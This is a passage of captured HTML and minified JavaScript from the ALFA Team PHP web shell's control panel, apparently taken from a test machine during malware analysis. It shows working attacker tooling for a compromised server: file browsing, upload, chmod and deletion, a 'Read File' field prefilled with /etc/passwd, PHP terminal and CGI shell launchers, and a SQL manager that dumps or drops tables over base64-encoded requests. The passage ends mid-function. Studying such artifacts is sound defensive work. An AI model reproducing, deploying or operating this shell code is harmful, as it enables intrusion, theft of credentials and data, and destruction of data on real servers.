class="main_name" onclick="editor('alfa.php','auto','','','','file');" href="#action=fileman&path=/var/www/html/&file=alfa.php" fname="alfa.php" ftype="file" path="/var/www/html/" opt_title=""><span class="shell_name" style="font-weight:unset;">alfa.php</span></a></div></td><td><span style="font-weight:unset;" class="main_size">170.50 KB</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 21:38:06</span></td><td><span style="font-weight:unset;" class="main_owner_group">osboxes/osboxes</span></td><td><a id="id_chmode_2" href="javascript:void(0)" onclick="editor('alfa.php','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span></a></td><td><a id="id_rename_2" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('alfa.php', 'rename','','','','file')">R</a> <a id="id_touch_2" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('alfa.php', 'touch','','','','file')">T</a> <a id="id_edit_2" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('alfa.php', 'edit','','','','file')">E</a> <a id="id_download_2" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'alfa.php', 'download')">D</a><a id="id_delete_2" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # alfa.php # ?'); chk ? g('FilesMan',null,'delete', 'alfa.php') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_3"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx" id="checkbox_719163"><label for="checkbox_719163"></label></div></td><td id="td_row_3"><img src="http://solevisible.com/icons/notfound.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="3" id="id_3" class="main_name" onclick="editor('beneri.se_malware_analysis','auto','','','','file');" href="#action=fileman&path=/var/www/html/&file=beneri.se_malware_analysis" fname="beneri.se_malware_analysis" ftype="file" path="/var/www/html/" opt_title="">beneri.se_malware_analysis</a></div></td><td><span style="font-weight:unset;" class="main_size">0 B</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 21:38:06</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_3" href="javascript:void(0)" onclick="editor('beneri.se_malware_analysis','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span></a></td><td><a id="id_rename_3" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'rename','','','','file')">R</a> <a id="id_touch_3" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'touch','','','','file')">T</a> <a id="id_edit_3" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'edit','','','','file')">E</a> <a id="id_download_3" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a><a id="id_delete_3" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # beneri.se_malware_analysis # ?'); chk ? g('FilesMan',null,'delete', 'beneri.se_malware_analysis') : '';"> X </a></td></tr><tr id="filemanager_last_tr"><td colspan="7">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="charset" value="">
<select id="tools_selector" name="alfa1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete" selected="">Delete</option><option value="zip">Add 2 Compress (zip)</option><option value="unzip">Add 2 Uncompress (zip)</option><option value="paste">Paste / Zip / Unzip </option></select>
<input type="submit" value=" ">
</td></tr></tbody></table><div class="pages-holder"><div class="pages-number"></div></div></form></div></div></div><table class="foot" width="100%" border="0" cellspacing="3" cellpadding="0">
<tbody><tr>
<td width="17%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;"><span class="footer_text">Make File : </span><br><input class="dir" type="text" name="f" value=""> <input type="submit" value=" "></form></td>
<td width="21%"><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;"><span class="footer_text">Make Dir : </span><br><input class="dir" type="text" name="d" value=" "> <input type="submit" value=" "></form></td>
<td width="22%"><form onsubmit="g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;"><span class="footer_text">Delete : </span><br><input class="dir" type="text" name="del" value=" "> <input type="submit" value=" "></form></td>
<td width="19%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;"><span class="footer_text">Chmod : </span><br><input class="dir" type="text" name="f" value=" "> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="2"><form onsubmit="g("FilesMan",this.c.value,"");return false;"><span class="footer_text">Change Dir : </span><br><input class="foottable" id="footer_cwd" type="text" name="c" value="/var/www/html/"> <input type="submit" value=" "></form></td>
<td colspan="2"><form onsubmit="editor(this.file.value,'view','','','','file');return false;"><span><span class="footer_text">Read File : </span></span><br><input class="foottable" type="text" name="file" value="/etc/passwd"> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="4"><form style="margin-top: 10px;" onsubmit="return false;" autocomplete="off"><span><span class="footer_text">Execute :</span><br><button onclick="alfaOpenPhpTerminal();return false;" class="foottable alfa_custom_cmd_btn"><img style="width:28px;vertical-align: middle;" src="http://solevisible.com/icons/menu/terminal.svg"> Terminal</button><br></span></form></td>
</tr>
<tr>
<td colspan="4"><form onsubmit="u(this);return false;" name="footer_form" method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="FilesMAn">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="ajax" value="true">
<input type="hidden" name="alfa1" value="uploadFile">
<input type="hidden" name="charset" value="Windows-1251">
<span class="footer_text">Upload file: </span><span><button id="addup" onclick="addnewup();return false;"><b>+</b></button></span><p id="pfooterup"><label class="inputfile" for="footerup"><span id="__fnameup"></span> <strong> Choose a file</strong></label><input id="footerup" class="toolsInp" type="file" name="f[]" onchange="handleup(this,0);" multiple=""></p><input type="submit" name="submit" value=" "></form><div id="alfa-copyright"><span class="copyright">[ ./AlfaTeam © 2012-2023 ]</span><br><span><a href="javascript:void(0);" onclick="alert("BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo");" style="color: #E91E63;text-decoration: none;">Donate Us !</a></span> <span style="letter-spacing: 2px;color: #dfff00;">solevisible[at]gmail.com</span> <span><a style="color: #ff6060;text-decoration: none;" target="_blank" href="https://telegram.me/solevisible">@solevisible</a></span></div></td>
</tr>
</tbody></table>
</div>
<div id="options_window" style="background: rgba(0, 0, 0, 0.69); display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("options_window");"></div><div onclick="editorClose("options_window");" class="close-button"></div></div></div><div style="height:100%;" class="content_options_holder"><div class="options_tab"></div><div class="options_content" style="margin-left:14px;margin-right:30px;background:#000;overflow:auto;"></div></div></div></div>
<div id="database_window" style="background:rgba(0, 0, 0, 0.69);"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title">Sql Manager</div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("database_window");"></div><div onclick="editorClose("database_window");" class="close-button"></div></div></div><div class="content_options_holder" style="margin-left:14px;margin-right:30px;background:#000;max-height:90%;"><div class="sql-tabs"></div><div class="sql-contents" style="max-height: 85vh;"></div></div></div></div>
<div id="cgiloader" style="display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("cgiloader");"></div><div onclick="editorClose("cgiloader");" class="close-button"></div></div></div><div id="cgiframe" style="position:relative;margin-left:14px;margin-right:30px;"><div class="terminal-tabs"></div><div style="height:90%;" class="terminal-contents"></div></div></div></div>
<div id="editor" style="display:none;"><div class="editor-wrapper"><div class="editor-header"><div class="editor-path"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("editor");"></div><div onclick="editorClose("editor");" class="close-button"></div></div></div><div onclick="historyPanelController(this);" mode="visible" class="history-panel-controller"><<</div><div class="editor-explorer"><div class="hheader"><div class="history-clear" onclick="clearEditorHistory();">Clear all</div><div class="hheader-text">History</div><div class="editor-search"><input type="text" style="text-align:center;" id="search-input" placeholder="search"></div></div><div class="history-list"></div></div><div class="editor-modal"><div class="editor-body"><div class="editor-content"><div class="editor-tabs"></div><div class="editor-content-holder"></div></div></div></div></div></div>
<div id="update-content"></div>
<div id="database_window-minimized" onclick="showEditor("database_window");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div class="minimized-text" style="top: 15px;">Database</div></div></div>
<div id="options_window-minimized" onclick="showEditor("options_window");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 4px;" class="minimized-text">Options</div></div></div>
<div id="editor-minimized" onclick="showEditor("editor");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 2px;" class="minimized-text">Editor</div></div></div>
<div id="cgiloader-minimized" onclick="showEditor("cgiloader");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 12px;" class="minimized-text">Cgi Shell</div></div></div>
<div id="rightclick_menu">
<a target="_blank" href="" name="newtab"><img src="http://solevisible.com/icons/menu/newtab.svg"> Open in new tab</a>
<a target="_blank" href="" name="link"><img src="http://solevisible.com/icons/menu/link.svg"> Open file directly</a>
<a href="javascript:void(0);" name="download"><img src="http://solevisible.com/icons/menu/download2.svg"> Download</a>
<a href="" name="view"><img src="http://solevisible.com/icons/menu/view.svg"> View</a>
<a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="view_archive"><img src="http://solevisible.com/icons/menu/view.svg"> View Archive</a>
<a href="" name="edit"><img src="http://solevisible.com/icons/menu/edit.svg"> Edit</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "move");" ftype="" path="" fname="" name="move"><img src="http://solevisible.com/icons/menu/move.svg"> Move</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "copy");" ftype="" path="" fname="" name="copy"><img src="http://solevisible.com/icons/menu/copy.svg"> Copy</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "rename");" ftype="" path="" fname="" name="rename"><img src="http://solevisible.com/icons/menu/rename.svg"> Rename</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "modify");" ftype="" path="" fname="" name="modify"><img src="http://solevisible.com/icons/menu/time.svg"> Modify</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "permission");" name="permission"><img src="http://solevisible.com/icons/menu/key.svg"> Change Permissions</a>
<a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="compress"><img src="http://solevisible.com/icons/menu/resize.svg"> Compress</a>
<a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="extract"><img src="http://solevisible.com/icons/menu/increase.svg"> Extract</a>
<a href="javascript:void(0);" name="delete"><img src="http://solevisible.com/icons/menu/delete.svg"> Delete</a>
</div>
<div id="filesman-tab-full-path"></div>
<div id="alert-area" class="alert-area"></div>
<div class="cl-popup-fixed" style="display:none;">
<div id="shortcutMenu-holder">
<div class="popup-head"></div>
<form autocomplete="off" onsubmit="return false;">
<label class="old-path-lbl"></label>
<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;" class="old-path-content"></div>
<label style="margin-top:10px;" class="new-filename-lbl">New file name</label>
<input type="text" name="fname">
<div class="perm-table-holder">
<table>
<tbody>
<tr>
<td><b>Mode</b></td>
<td>User</td>
<td>Group</td>
<td>World</td>
</tr>
<tr>
<td>Read</td>
<td><input type="checkbox" name="ur" value="4" onclick="calcperm();"></td>
<td><input type="checkbox" name="gr" value="4" onclick="calcperm();"></td>
<td><input type="checkbox" name="wr" value="4" onclick="calcperm();"></td>
</tr>
<tr>
<td>Write</td>
<td><input type="checkbox" name="uw" value="2" onclick="calcperm();"></td>
<td><input type="checkbox" name="gw" value="2" onclick="calcperm();"></td>
<td><input type="checkbox" name="ww" value="2" onclick="calcperm();"></td>
</tr>
<tr>
<td>Execute</td>
<td><input type="checkbox" name="ux" value="1" onclick="calcperm();"></td>
<td><input type="checkbox" name="gx" value="1" onclick="calcperm();"></td>
<td><input type="checkbox" name="wx" value="1" onclick="calcperm();"></td>
</tr>
<tr>
<td>Permission</td>
<td><input style="width:60px;" type="text" name="u" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, "u", ["u"]);"></td>
<td><input style="width:60px;" type="text" name="g" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, "g", ["g"]);"></td>
<td><input style="width:60px;" type="text" name="w" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, "w", ["w"]);"></td>
</tr>
</tbody>
</table>
</div>
</form>
<div class="popup-foot">
<button style="background: #2b5225;" name="accept" action="" onclick="alfaPopUpDoAction(this);"></button>
<button style="background: #9e2c2c;" onclick="d.querySelector(".cl-popup-fixed").style.display="none";">Cancell</button>
</div>
</div>
</div><script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'> <a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>></option><option value='>='>>=</option><option value='<'><</option><option value='<='><=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main 